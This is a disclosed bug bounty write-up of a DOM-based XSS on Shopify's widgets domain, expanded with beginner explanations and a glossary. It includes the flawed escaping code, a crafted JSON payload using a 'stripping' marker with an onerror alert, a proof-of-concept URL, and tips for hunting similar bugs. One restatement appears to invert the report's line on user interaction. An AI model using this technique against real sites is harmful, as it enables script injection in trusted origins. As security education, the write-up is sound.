XSS on "widgets.shopifyapps.com" via "stripping" attribute and "shop" parameter
The Shopify widget script on widgets.shopifyapps.com failed to filter the shop parameter, allowing an attacker to point it to a malicious domain. By including a stripping attribute in the JSON response, HTML escaping was bypassed, enabling cross-site scripting on the widgets domain.
Originally disclosed on HackerOne
- Triaged in 7 hours
- Fixed in 18 days
- Paid in 28 days
- Disclosed after 9 months
Description
Shopify allows developers to embed widgets (containing product info) on third-party websites via "widgets.shopifyapps.com". When the widget is rendered the shop attribute is not filtered allowing any website (not just Shopify shops) to be specified. By providing an attacker controlled domain and serving a specially crafted payload containing the stripping object attribute HTML escaping will be disabled resulting in XSS on "widgets.shopifyapps.com".
Technical Details
This issue occurs in /assets/widgets/product/application.js. The Framework.Models.Collection class (used for fetching collections of objects) defines a special parse method which automatically escapes all strings. This escaping is provided by Framework.Helpers.stripHTMLForObject which looks like this (prettified):
Framework.Helpers.stripHTMLForObject = function(obj) {
obj.stripping = true;
var idx, val;
for (idx in obj) {
if (obj.hasOwnProperty(idx)) {
var val = obj[inx]
if("string" == typeof val) {
obj[idx] = Framework.Helpers.stripHTML(val)
} else {
if(null != val && "object" == typeof val && null == val.stripping) {
obj[idx] = this.stripHTMLForObject(val)
}
}
}
delete obj.stripping;
return obj;
}
The Framework.Helpers.stripHTML function seems to be a implementation of the Caja compiler which we can assume is safe, however by crafting a object with a stripping attribute HTML escaping will be disabled. An example product would look like this:
{
"product": {
"variants": [{
"stripping": false,
"title": "<option/><select/><img src=xx: onerror=alert('bored-engineer')>"
}, {}],
"options": [],
"images": [{}],
"image": {}
}
}
I've hosted this file (and the other required meta.json file) on attackerdoma.in.
Proof of Concept
Open widgets.shopifyapps.com/products/stripping-xss?shop=attackerdoma.in
Exploitability
Once you locate the escaping issue it's relatively trivial to exploit and requires to user interaction as shown in the PoC.
Remediation
The application should not allow shops/servers to disable HTML escaping via the stripping attribute.
Context
Shopify lets developers embed widgets that show product information on third-party websites. Those widgets are served from widgets.shopifyapps.com. When a widget is rendered, the shop attribute selects which shop the data comes from. According to the report, that attribute is not filtered, so any website can be named, not only a Shopify shop.
The bug is a DOM-based cross-site scripting issue in the widget's product application script, /assets/widgets/product/application.js. The researcher found that by pointing shop at a domain they controlled and serving a crafted payload that contains a stripping object attribute, HTML escaping is disabled and script executes in the origin of widgets.shopifyapps.com.
Setup
The report describes no accounts, roles, tools or versions. The only precondition it states is an attacker-controlled domain that can serve the widget's data files. The researcher hosted the malicious product file together with the other required meta.json file on attackerdoma.in.
Finding it
The starting point is the Framework.Models.Collection class, which is used for fetching collections of objects. It defines a special parse method that automatically escapes all strings. The escaping is done by Framework.Helpers.stripHTMLForObject, shown prettified in the report:
Framework.Helpers.stripHTMLForObject = function(obj) {
obj.stripping = true;
var idx, val;
for (idx in obj) {
if (obj.hasOwnProperty(idx)) {
var val = obj[inx]
if("string" == typeof val) {
obj[idx] = Framework.Helpers.stripHTML(val)
} else {
if(null != val && "object" == typeof val && null == val.stripping) {
obj[idx] = this.stripHTMLForObject(val)
}
}
}
delete obj.stripping;
return obj;
}
The function walks the object recursively. For every own property whose value is a string it replaces the value with Framework.Helpers.stripHTML(val). For nested objects it recurses, but only when the nested object does not already carry a stripping property. The recursion marks each object it processes with obj.stripping = true and deletes that marker again before returning.
The researcher treats Framework.Helpers.stripHTML as an implementation of the Caja compiler and assumes it is safe. The weakness is not in the escaping function itself but in the guard around the recursion: an object that arrives with its own stripping attribute is skipped, so its string values are never passed through stripHTML. In other words, a remote server can opt out of escaping by setting that attribute in the JSON it serves.
Exploitation
Step 1: craft a product object that disables escaping
The researcher built a product payload in which the variants array contains an object with stripping set to false and a title holding HTML and an event handler:
{
"product": {
"variants": [{
"stripping": false,
"title": "<option/><select/><img src=xx: onerror=alert('bored-engineer')>"
}, {}],
"options": [],
"images": [{}],
"image": {}
}
}
Because the variant object already has a stripping property, the null == val.stripping check in stripHTMLForObject fails and the recursion does not descend into it. The title string therefore reaches the page unescaped. The value contains <option/> and <select/> tags and an <img> with a src of xx: and an onerror handler that calls alert('bored-engineer').
Step 2: host the payload on an attacker-controlled domain
The researcher hosted this file, along with the other required meta.json file, on attackerdoma.in. The widget fetches its data from the domain named in the shop parameter, so hosting the files there is what makes the payload reachable.
Step 3: point the widget at that domain
The proof of concept is a single URL:
https://widgets.shopifyapps.com/products/stripping-xss?shop=attackerdoma.in
Opening it renders the widget with data taken from attackerdoma.in. Since the shop attribute is not filtered, the widget accepts the non-Shopify domain, loads the crafted product, and the unescaped title executes in the origin of widgets.shopifyapps.com.
Root cause
The escaping routine trusts a property that comes from the data it is supposed to sanitise. stripHTMLForObject uses stripping both as its own internal recursion marker and as the condition that decides whether a nested object gets escaped. Any object supplied by the remote shop that already contains stripping is treated as already processed and is skipped entirely, so its string values bypass stripHTML. The report's remediation states the same point from the design side: the application should not allow shops or servers to disable HTML escaping via the stripping attribute.
The second half of the root cause is input handling on shop. The report says the attribute is not filtered and that any website, not just a Shopify shop, can be specified, which is what lets an attacker supply the malicious JSON in the first place. The report does not describe any other defence that was in place or why it failed.
Impact
The result is cross-site scripting in the origin of widgets.shopifyapps.com. The report says exploitation is relatively trivial once the escaping issue is located and requires user interaction, as shown in the PoC. The payload in the report only calls alert, so the report does not describe any further actions an attacker could take from that origin.
Fix
The report's remediation is that the application should not allow shops or servers to disable HTML escaping via the stripping attribute.
Variants to test
- Look for sanitiser routines that use a property on the data itself as a recursion or "already processed" marker, then send that property in the input. A positive result is a string field that reaches the DOM without escaping.
- Test parameters that select a remote data source, such as a shop, store or tenant identifier, with a domain you control. A positive result is the widget fetching and rendering your JSON.
- Send nested objects and arrays with the marker set at different depths. A positive result is any level whose strings skip the escaping step.
- Try the marker with different values, including
false, since the check in this code only tests for null. A positive result is the same bypass with a value the developer may not have considered.
Hunting notes
This kind of bug hides in client-side rendering code that fetches JSON from a host the request can influence, especially embeddable widgets and scripts served from a shared origin. During recon, look for widget and embed endpoints that take a domain or shop parameter, and read the bundled JavaScript for escaping helpers and recursion guards. The signal is a sanitiser that reads a property from the object it is sanitising. To show impact, a minimal proof such as an alert in the target origin, reached through a single URL, was enough for this report.
Difficulty
{"difficulty": "intermediate", "difficulty_reason": "The bug requires reading minified widget JavaScript to spot a recursion guard that trusts attacker-supplied data, then hosting JSON on a controlled domain, but the exploit itself is a single URL."}
What happened, in plain words
Shopify is a platform that lets people run online shops. Besides the shops themselves, Shopify offers small pieces of software called widgets: little boxes of product information that a shop owner can drop into a website that is not hosted by Shopify. Those widgets are delivered from a Shopify server called widgets.shopifyapps.com.
When a widget appears on a page, it has to know which shop's products to show. It learns this from a setting called the shop attribute, which names the shop. According to the report, that setting is not checked, so it can name any website at all, not only a real Shopify shop.
The researcher found a way to abuse this. They pointed the shop setting at a website they controlled, put a specially crafted file there, and got the widget to run JavaScript code of their choosing. Code that runs inside the pages of widgets.shopifyapps.com is dangerous because the browser treats it as coming from Shopify. This class of bug is called cross-site scripting, or XSS: an attacker gets their own code to run as if it were part of a trusted site.
The specific flavour here is DOM-based XSS. "DOM" is the browser's in-memory model of the page. In this case the malicious code is not inserted by the server that builds the page; it is inserted by JavaScript running in the browser, which reads data and writes it into the page without cleaning it first.
Background you need
A few ideas come up again and again below, so here they are from zero.
- JavaScript: the programming language that runs inside your browser and makes web pages interactive. A file ending in
.jsis a script written in it. - JSON: a simple text format for structured data, built from curly braces, square brackets, names and values. Servers often send data to browsers as JSON. It looks like a shopping list written in a strict way.
- HTML escaping: HTML is the language of web pages, and some characters in it have special meaning. For example
<starts a tag and>ends one. If you want to show such a character as plain text, you replace it with a safe code (escaping). If you forget, the browser may treat your text as a real tag, which is how XSS happens. Think of it like a form where you must write your name in capital letters only: if you do not follow the rule, the form gets misread. - Attribute: a named setting attached to something. In HTML, attributes sit inside tags. In the widget's data,
shopandstrippingare attributes in the sense of named fields. - Origin: the combination of protocol, hostname and port that a browser uses to decide which site a page belongs to. Code running in the origin of
widgets.shopifyapps.comis treated by the browser as Shopify's own code. - Event handler: a piece of JavaScript attached to an HTML element that runs when something happens, such as an image failing to load. The
onerrorattribute is one example. - Recursion: a function that calls itself to work through nested data, like opening a box, finding a smaller box inside, and opening that one too.
- Sanitiser: code whose job is to clean untrusted input before it is used.
Context
Shopify lets developers embed widgets that show product information on third-party websites. Those widgets are served from widgets.shopifyapps.com. When a widget is rendered, the shop attribute selects which shop the data comes from. According to the report, that attribute is not filtered, so any website can be named, not only a Shopify shop.
The bug is a DOM-based cross-site scripting issue in the widget's product application script, /assets/widgets/product/application.js. The researcher found that by pointing shop at a domain they controlled and serving a crafted payload that contains a stripping object attribute, HTML escaping is disabled and script executes in the origin of widgets.shopifyapps.com.
Setup
The report describes no accounts, roles, tools or versions. The only precondition it states is an attacker-controlled domain that can serve the widget's data files. The researcher hosted the malicious product file together with the other required meta.json file on attackerdoma.in.
In plain terms: the researcher needed a website of their own that could hand out the product data and the other required meta.json file. They used the domain attackerdoma.in for this. No special software or login was involved.
Finding it
The starting point is the Framework.Models.Collection class, which is used for fetching collections of objects. It defines a special parse method that automatically escapes all strings. The escaping is done by Framework.Helpers.stripHTMLForObject, shown prettified in the report:
Framework.Helpers.stripHTMLForObject = function(obj) {
obj.stripping = true;
var idx, val;
for (idx in obj) {
if (obj.hasOwnProperty(idx)) {
var val = obj[inx]
if("string" == typeof val) {
obj[idx] = Framework.Helpers.stripHTML(val)
} else {
if(null != val && "object" == typeof val && null == val.stripping) {
obj[idx] = this.stripHTMLForObject(val)
}
}
}
delete obj.stripping;
return obj;
}
Line by line, in plain words:
Framework.Helpers.stripHTMLForObject = function(obj) {starts the definition of a function that takes one object, a bundle of named values, and returns a cleaned version of it.obj.stripping = true;sticks a label calledstrippingonto the object, set totrue. This label is the function's own bookmark meaning "I am working on this object right now".var idx, val;prepares two variables, one for a field name and one for its value.for (idx in obj) {loops over every field name in the object.if (obj.hasOwnProperty(idx)) {skips fields that the object merely inherits from JavaScript's built-in machinery, so only the object's own fields are handled.var val = obj[inx]reads the value stored under the current field name. Note that this line saysinxwhile the variable is calledidx; as written, that is a typo in the code shown in the report.if("string" == typeof val) {asks: is this value a piece of text?obj[idx] = Framework.Helpers.stripHTML(val)if so, replaces the text with an escaped version produced by another function,stripHTML.} else {otherwise, the value is not text.if(null != val && "object" == typeof val && null == val.stripping) {checks three things: the value is not empty, it is an object, and it does not already carry astrippinglabel.obj[idx] = this.stripHTMLForObject(val)if all three hold, the function calls itself on the nested object, cleaning it the same way.delete obj.stripping;removes the bookmark before returning.return obj;hands the cleaned object back to the caller.
The researcher treats Framework.Helpers.stripHTML as an implementation of the Caja compiler and assumes it is safe. The weakness is not in the escaping function itself but in the guard around the recursion: an object that arrives with its own stripping attribute is skipped, so its string values are never passed through stripHTML. In other words, a remote server can opt out of escaping by setting that attribute in the JSON it serves.
Think of a security guard who checks every bag, but skips any bag that already has a sticker saying "already checked". If you can put that sticker on your own bag, the guard walks past it.
Exploitation
Step 1: craft a product object that disables escaping
The researcher built a product payload in which the variants array contains an object with stripping set to false and a title holding HTML and an event handler:
{
"product": {
"variants": [{
"stripping": false,
"title": "<option/><select/><img src=xx: onerror=alert('bored-engineer')>"
}, {}],
"options": [],
"images": [{}],
"image": {}
}
}
Line by line, in plain words:
- The outer
{opens a JSON object, and"product"names the main field inside it. "variants"is a list (the square brackets) of versions of the product, such as different sizes or colours. A real shop would list several; here there is one real entry and one empty{}placeholder."stripping": falseis the crucial line. It plants the "already checked" sticker on the variant object. The value isfalse, nottrue, but the code only asks whether the field is empty, sofalseis enough."title"holds the product name. Instead of a name, it contains HTML:<option/>and<select/>are tags included in the payload, and<img src=xx: onerror=alert('bored-engineer')>is an image tag whose addressxx:will fail to load, triggering theonerrorhandler, which runsalert('bored-engineer')and pops up a dialog box."options","images"and"image"are empty lists and objects, present because the widget expects those fields to exist.
Because the variant object already has a stripping property, the null == val.stripping check in stripHTMLForObject fails and the recursion does not descend into it. The title string therefore reaches the page unescaped. The value uses <option/> and <select/> to break out of the surrounding markup context and an <img> with a src of xx: and an onerror handler that calls alert('bored-engineer').
Step 2: host the payload on an attacker-controlled domain
The researcher hosted this file, along with the other required meta.json file, on attackerdoma.in. The widget fetches its data from the domain named in the shop parameter, so hosting the files there is what makes the payload reachable.
Why this step matters: the widget does not keep product data inside itself. It asks a shop's server for it. If you can be that server, you decide what data the widget receives, including the stripping sticker and the malicious title.
Step 3: point the widget at that domain
The proof of concept is a single URL:
https://widgets.shopifyapps.com/products/stripping-xss?shop=attackerdoma.in
Line by line, in plain words:
https://widgets.shopifyapps.comis the Shopify widget server, the trusted origin./products/stripping-xssis the path of the widget page being requested.?shop=attackerdoma.inis the query string, the part after the question mark that carries settings. Here it tells the widget to take its data fromattackerdoma.ininstead of a real shop.
Opening it renders the widget with data taken from attackerdoma.in. Since the shop attribute is not filtered, the widget accepts the non-Shopify domain, loads the crafted product, and the unescaped title executes in the origin of widgets.shopifyapps.com.
Root cause
The escaping routine trusts a property that comes from the data it is supposed to sanitise. stripHTMLForObject uses stripping both as its own internal recursion marker and as the condition that decides whether a nested object gets escaped. Any object supplied by the remote shop that already contains stripping is treated as already processed and is skipped entirely, so its string values bypass stripHTML. The report's remediation states the same point from the design side: the application should not allow shops or servers to disable HTML escaping via the stripping attribute.
The second half of the root cause is input handling on shop. The report says the attribute is not filtered and that any website, not just a Shopify shop, can be specified, which is what lets an attacker supply the malicious JSON in the first place. The report does not describe any other defence that was in place or why it failed.
Impact
The result is cross-site scripting in the origin of widgets.shopifyapps.com. The report says exploitation is relatively trivial once the escaping issue is located and requires user interaction, as shown in the PoC. The payload in the report only calls alert, so the report does not describe any further actions an attacker could take from that origin.
Fix
The report's remediation is that the application should not allow shops or servers to disable HTML escaping via the stripping attribute.
Variants to test
These are ideas for looking for the same kind of mistake elsewhere, written for someone starting out:
- Look for sanitiser routines that use a property on the data itself as a recursion or "already processed" marker, then send that property in the input. A positive result is a string field that reaches the DOM without escaping. In everyday terms: find a guard who trusts a sticker, then bring your own sticker.
- Test parameters that select a remote data source, such as a shop, store or tenant identifier, with a domain you control. A positive result is the widget fetching and rendering your JSON. This is the
shoptrick again, applied to other widgets. - Send nested objects and arrays with the marker set at different depths. A positive result is any level whose strings skip the escaping step. The guard may only check the top level, or only some inner levels.
- Try the marker with different values, including
false, since the check in this code only tests for null. A positive result is the same bypass with a value the developer may not have considered. Developers often assume a flag istruewhen it is present, but herefalseworked just as well.
Hunting notes
This kind of bug hides in client-side rendering code that fetches JSON from a host the request can influence, especially embeddable widgets and scripts served from a shared origin. During recon, look for widget and embed endpoints that take a domain or shop parameter, and read the bundled JavaScript for escaping helpers and recursion guards. The signal is a sanitiser that reads a property from the object it is sanitising. To show impact, a minimal proof such as an alert in the target origin, reached through a single URL, was enough for this report.
"Recon" means the early exploration phase where you map out what a site offers. "Bundled JavaScript" means many script files squashed together into one, which is why the code above is described as prettified: the researcher reformatted it to read it.
Difficulty
This one is rated intermediate. The bug requires reading minified widget JavaScript to spot a recursion guard that trusts attacker-supplied data, then hosting JSON on a controlled domain, but the exploit itself is a single URL.
"Minified" means the code has been squeezed to save space, with short names and no line breaks, which makes it harder to read. The hard part was spotting the flaw; once spotted, the attack was one link.
Glossary
- Attribute: a named setting attached to something, such as
shoporstrippingin the widget's data. - Caja compiler: a tool mentioned in the report that is used to make untrusted HTML safe; the researcher assumed the escaping function built on it was safe.
- Cross-site scripting (XSS): a bug where an attacker gets their own code to run inside a trusted website, as if it belonged there.
- DOM: the browser's in-memory model of a web page, which JavaScript reads and changes.
- DOM-based XSS: XSS where the malicious code is inserted by JavaScript in the browser rather than by the server.
- Event handler: JavaScript attached to an HTML element that runs when something happens, such as
onerrorwhen an image fails to load. - HTML: the language web pages are written in, made of tags such as
<img>. - HTML escaping: replacing special characters in text with safe codes so the browser shows them as text instead of treating them as tags.
- JavaScript: the programming language that runs in the browser and makes pages interactive.
- JSON: a text format for structured data, built from braces, brackets, names and values.
- Minified: code squeezed to save space, with short names and no line breaks, making it harder to read.
- Origin: the combination of protocol, hostname and port that the browser uses to decide which site a page belongs to.
- Parameter: a setting passed in a URL, usually after a question mark, such as
shop=attackerdoma.in. - Payload: the malicious data or code an attacker sends.
- Prettified: reformatted code with proper spacing and line breaks so a human can read it.
- Query string: the part of a URL after the question mark that carries settings.
- Recon: the early exploration phase of mapping out what a site offers.
- Recursion: a function calling itself to work through nested data.
- Widget: a small embeddable box of content, here product information, placed on a third-party website.